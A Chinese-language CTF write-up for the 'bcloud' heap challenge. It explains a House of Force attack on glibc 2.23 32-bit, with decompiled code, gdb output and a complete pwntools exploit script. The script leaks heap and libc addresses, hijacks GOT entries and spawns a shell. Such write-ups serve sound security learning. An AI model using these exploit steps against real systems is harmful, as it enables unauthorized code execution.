0%

House Of Force-2.23-32

bcloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  [/home/ywhkkx/桌面] ./bcloud 
Input your name:
ywhkkx
Hey ywhkkx! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
hehe
Host:
heh
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
2
3
4
5
6
7
8
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /home/ywhkkx/tool/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped

[*] '/home/ywhkkx/桌面/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)

32位,dynamically,开了canary,开了NX

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __cdecl readStr(char *str, int size, char a)
{
char buf; // [esp+1Bh] [ebp-Dh] BYREF
int i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i < size; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a )
break;
str[i] = buf;
}
str[i] = 0; // off-by-one null
}

经典的一字节溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void delNote()
{
int index; // [esp+18h] [ebp-10h]
char *ptr; // [esp+1Ch] [ebp-Ch]

puts("Input the id:");
index = readInt();
if ( index >= 0 && index <= 9 )
{
ptr = noteList[index];
if ( ptr )
{
noteList[index] = 0;
noteLens[index] = 0;
free(ptr); // 未置空
puts("Delete success.");
}
else
{
puts("Note has been deleted.");
}
}
else
{
puts("Invalid ID.");
}
}

free 没有置空指针,但是对“noteList”和“noteLens”进行了清零操作,使后续的修改模块无法获取这个chunk

入侵思路

首先要实现 leak,由于本程序的打印模块是假的:

1
2
3
4
void no_work()
{
puts("WTF? Something strange happened.");
}

所以只有这一个位置可以打印:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void input_name()
{
char name[64]; // [esp+1Ch] [ebp-5Ch] BYREF name可以溢出到*name_heap
char *name_heap; // [esp+5Ch] [ebp-1Ch]
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(name, 0, 0x50u);
puts("Input your name:");
readStr(name, 0x40, 10);
name_heap = (char *)malloc(0x40u);
name_list = (int)name_heap;
strcpy(name_heap, name); // off-by-one null
hello((int)name_heap);
}

void __cdecl hello(int a1)
{
printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", (const char *)a1);
puts("Now let's set synchronization options.");
}

输入48个“a”的确可以溢出东西,但仍需要确定是什么:

1
2
3
4
5
6
p.readuntil("name:\n")
p.send("a"*0x40)

p.read(0x44)
heap = u32(p.read(4))
success("heap >> "+hex(heap))
1
2
3
4
pwndbg> stack 50
00:0000│ esp 0xffe16710 —▸ 0x8048e2c ◂— dec eax /* 'Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n' */
01:00040xffe16714 —▸ 0x9cc1008 ◂— 0x61616161 ('aaaa')
02:00080xffe16718 —▸ 0xffe1674c ◂— 0x61616161 ('aaaa')
1
2
3
4
5
6
pwndbg> x/20xw 0x9cc1008
0x9cc1008: 0x61616161 0x61616161 0x61616161 0x61616161
0x9cc1018: 0x61616161 0x61616161 0x61616161 0x61616161
0x9cc1028: 0x61616161 0x61616161 0x61616161 0x61616161
0x9cc1038: 0x61616161 0x61616161 0x61616161 0x61616161
0x9cc1048: 0x09cc1008 0x00020f00 0x00000000 0x00000000

地址“0x09cc1008”将会被泄露出来,它既是 heap 的首地址

为什么会这样呢?我刚开始以为是 off-by-null 的效果,后来仔细分析代码发现根本不是这个原因

1
2
char name[64]; // [esp+1Ch] [ebp-5Ch] BYREF
char *name_heap; // [esp+5Ch] [ebp-1Ch]
1
name_heap = (char *)malloc(0x40u);

malloc 执行以后,返回的地址写入 name_heap,反向覆盖了 name 末尾的“\x00”,导致 name_heap 也可以被打印出来了(和 books 很像)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void input_oh()
{
char org[64]; // [esp+1Ch] [ebp-9Ch] BYREF 溢出1字节到org_heap
char *org_heap; // [esp+5Ch] [ebp-5Ch]
char host[68]; // [esp+60h] [ebp-58h] BYREF
char *host_heap; // [esp+A4h] [ebp-14h]
unsigned int v4; // [esp+ACh] [ebp-Ch]

v4 = __readgsdword(0x14u);
memset(org, 0, 0x90u);
puts("Org:");
readStr(org, 0x40, 10); // overflow 1字节
puts("Host:");
readStr(host, 0x40, 10);
host_heap = (char *)malloc(0x40u);
org_heap = (char *)malloc(0x40u); // 覆盖了org末尾的“\x00”
org_list = (int)org_heap;
host_list = (int)host_heap;
strcpy(host_heap, host);
strcpy(org_heap, org); // 导致org+org_heap+host_heap一起被复制到了org_heap
puts("OKay! Enjoy:)");
}

这个函数一看就有问题(交叉写入的方式,还有 off-by-one,很容易出漏洞)

和上一个函数一样的问题,导致 org + org_heap + host_heap 一起被复制到了 org_heap,我们可能可以控制 top chunk 的 size 了(org_heap 覆盖 top chunk->presize,host_heap 覆盖 top chunk->size)

1
2
3
4
5
p.readuntil("Org:")
p.send("a"*0x40)
p.readuntil("Host:")
p.sendline(p32(0xffffffff))
p.readuntil("Enjoy:")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x824c000
Size: 0x49

Allocated chunk | PREV_INUSE
Addr: 0x824c048
Size: 0x49

Allocated chunk | PREV_INUSE
Addr: 0x824c090
Size: 0x49

Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x824c0d8
Size: 0xffffffff
// top chunk addr - heap addr = 0xd8

现在 House Of Force 的条件已经准备好了,现在要考虑怎么打 House Of Force

先看修改模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void editNote()
{
int index; // [esp+14h] [ebp-14h]
char *note; // [esp+18h] [ebp-10h]
int len; // [esp+1Ch] [ebp-Ch] len会被溢出

puts("Input the id:");
index = readInt();
if ( index >= 0 && index <= 9 )
{
note = noteList[index];
if ( note )
{
len = noteLens[index];
syned[index] = 0;
puts("Input the new content:");
readStr(note, len, 10); // off-by-one
puts("Edit success.");
}
else
{
puts("Note has been deleted.");
}
}
else
{
puts("Invalid ID.");
}
}

“noteList”(0x804B120)中的地址可以被修改模块控制,所以可以控制它来打hook劫持

现在来考虑的是:怎么分割 top chunk 来使 newchunk 分配到“noteList”上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void newNote()
{
int i; // [esp+18h] [ebp-10h]
int len; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i <= 9 && noteList[i]; ++i )
;
if ( i == 10 )
{
puts("Lack of space. Upgrade your account with just $100 :)");
}
else
{
puts("Input the length of the note content:");
len = readInt();
noteList[i] = (char *)malloc(len + 4);
if ( !noteList[i] )
exit(-1);
noteLens[i] = len;
puts("Input the content:");
readStr(noteList[i], len, 10);
printf("Create success, the id is %d\n", i);
syned[i] = 0;
}
}

申请模块就没有什么价值了

打 House Of Force ,把 top chunk的数据区 分割到 note_list:

1
2
3
4
5
6
7
8
9
10
11
12
13
note_list = 0x804B120
top_chunk_addr = heap + 0xD8 # top chunk 的首地址

offset = note_list - (top_chunk_addr + 0x8) - 24
# note_list - top_chunk_addr - 0x10 就可以保证 top chunk 被分割到 note_list
# 再减去"24"是为了保证new_note(0x10, "kkk")后,top chunk 被分割到 note_list
new_note(0x10, "kkk")
new_note(offset,'')

payload = p32(elf.got["free"])
payload += p32(elf.got["atoi"])
payload += p32(elf.got["atoi"])
new_note(0x100, payload)

申请 0x10 是为了在noteLens[0]中写入 0x10 (假设没有此操作,后续需要的字节数不能满足)

现在看看这个偏移是怎么算的:offset = note_list - top_chunk_addr - 0x8 - 24

new_note(0x10, “kkk”) 申请前:

1
2
3
Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x9db20d8
Size: 0xffffffff

new_note(0x10, “kkk”) 申请后:

1
2
3
4
5
6
7
Allocated chunk | PREV_INUSE
Addr: 0x9db20d8
Size: 0x19 // 0x18(24)

Top chunk | PREV_INUSE
Addr: 0x9db20f0
Size: 0xffffffe1
1
2
In [2]: 0x9db20f0-0x9db20d8
Out[2]: 24

每次申请 “size” 字节的 chunk ,top thunk 都增加 “size” 字节,如果申请一个比较大的 “size” ,导致最高位溢出,就可能会申请到 note_list:

1
2
0x9db20f0 + 0x8 (top chunk data) + offset = 0x100804B120(note_list)
offset = note_list - top chunk data

直接减也可以获取相似的效果(即使它是负数,也会被当成 unsigned long)

通过数学计算得:用这种操作会有1字节的误差,但是被内存对齐抵消了

GDB查看内存:

1
2
3
4
5
pwndbg> telescope 0x804B120
00:00000x804b120 —▸ 0x804b014 (free@got.plt) —▸ 0x80484e6 (free@plt+6) ◂— push 0x10 // note_list[0]
01:00040x804b124 —▸ 0x804b03c (atoi@got.plt) —▸ 0xf7d73260 (atoi) ◂— sub esp, 0x10 // note_list[1]
02:00080x804b128 —▸ 0x804b03c (atoi@got.plt) —▸ 0xf7d73260 (atoi) ◂— sub esp, 0x10 // note_list[2]
03:000c│ 0x804b12c ◂— 0x0

修改 note_list[0] 打 GOT 劫持:

1
2
3
4
5
6
7
8
9
10
11
12
edit_note(0, p32(elf.symbols["printf"]+6))
delete_note(1)
atoi_libc = u32(p.read(4))
p.readuntil("success.")
libc_base = atoi_libc - libc.symbols["atoi"]
print("libc_base >> " + hex(libc_base))

system = libc.symbols["system"] + libc_base
edit_note(2, p32(system))

p.sendline("/bin/sh")
p.interactive()

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

#context.log_level = "debug"

def new_note(len,content):
p.readuntil("--->>")
p.sendline("1")
p.readuntil("content:")
p.sendline(str(len))
p.readuntil("content:")
p.sendline(content)

def edit_note(i, data):
p.readuntil("--->>")
p.sendline("3")
p.readuntil("id:\n")
p.sendline(str(i))
p.readuntil("content:\n")
p.sendline(data)
p.readuntil("success.")

def delete_note(i):
p.readuntil("--->>")
p.sendline("4")
p.readuntil("id:\n")
p.sendline(str(i))

p = process("./bcloud")
elf = ELF("./bcloud")
libc = ELF("./libc-2.23.so")

p.readuntil("name:\n")
p.send("a"*0x40)
p.read(0x44)
heap = u32(p.read(4))
success("heap >> "+hex(heap))

#gdb.attach(p)

p.readuntil("Org:")
p.send("a"*0x40)
p.readuntil("Host:")
p.sendline(p32(0xffffffff))
p.readuntil("Enjoy:")

note_list = 0x804B120
top_chunk_addr = heap + 0xD8
offset = note_list - (top_chunk_addr + 0x8) - 24
new_note(0x10, "kkk")

new_note(offset,'')
payload = p32(elf.got["free"])
payload += p32(elf.got["atoi"])
payload += p32(elf.got["atoi"])
new_note(0x100, payload)

edit_note(0, p32(elf.symbols["printf"]+6))
delete_note(1)
atoi_libc = u32(p.read(4))
p.readuntil("success.")
libc_base = atoi_libc - libc.symbols["atoi"]
print("libc_base >> " + hex(libc_base))

system = libc.symbols["system"] + libc_base
edit_note(2, p32(system))

p.sendline("/bin/sh")
p.interactive()

house of force 小结(2.23-32位)

house of force 的核心在于:

  • 溢出字节覆盖 top chunk 的 size 位
  • 计算偏移,把 top chunk 分割到可以修改的目标地址

特点归纳如下:

  • 需要可以控制的修改模块
  • 需要可以输入任意大小的申请模块(包括负数)
  • 需要堆溢出(覆盖“topchunk->size”)
  • 不需要释放模块

修改“topchunk->size”和“计算目标偏移”就是这种攻击的关键,通常用堆溢出的方式来修改“topchunk->size”,而以下公式可以用来计算偏移

1
2
3
offset = target_addr - (top_chunk_addr + 0x8) # 64位就改为"+0x10"
# target_addr:目标地址
# top_chunk_addr:top chunk起始地址

PS:次题目在 2.27 版本无法打通,GDB调试后发现 “0xffffffff” 并没有被 strcpy 复制

2.23 版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> telescope 0x8aec000
00:00000x8aec000 ◂— 0x0
01:00040x8aec004 ◂— 0x49 /* 'I' */
02:00080x8aec008 ◂— 0x61616161 ('aaaa')
... ↓ 5 skipped
pwndbg>
08:00200x8aec020 ◂— 0x61616161 ('aaaa')
... ↓ 7 skipped
pwndbg>
10:00400x8aec040 ◂— 0x61616161 ('aaaa')
11:00440x8aec044 ◂— 0x61616161 ('aaaa')
12:00480x8aec048 —▸ 0x8aec008 ◂— 0x61616161 ('aaaa')
13:004c│ 0x8aec04c ◂— 0x49 /* 'I' */
14:00500x8aec050 ◂— 0xffffffff
15:00540x8aec054 ◂— 0x0

2.27 版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x9b19158
00:00000x9b19158 ◂— 0x0
01:00040x9b1915c ◂— 0x51 /* 'Q' */
02:00080x9b19160 ◂— 0x61616161 ('aaaa')
... ↓ 5 skipped
pwndbg>
08:00200x9b19178 ◂— 0x61616161 ('aaaa')
... ↓ 7 skipped
pwndbg>
10:00400x9b19198 ◂— 0x61616161 ('aaaa')
11:00440x9b1919c ◂— 0x61616161 ('aaaa')
12:00480x9b191a0 —▸ 0x9b19160 ◂— 0x61616161 ('aaaa')
13:004c│ 0x9b191a4 ◂— 0x0
14:00500x9b191a8 ◂— 0x0
15:00540x9b191ac ◂— 0x51 /* 'Q' */
16:00580x9b191b0 ◂— 0xffffffff

发现程序的对齐方式变了:

  • 2.23 版本:8字节对齐(0x8)
  • 2.27 版本:16字节对齐(0x10)

导致“org[64]”到了“0x9b191a4”才结束,“host[68]”和“org[64]”之间有“\x00”,所以复制失败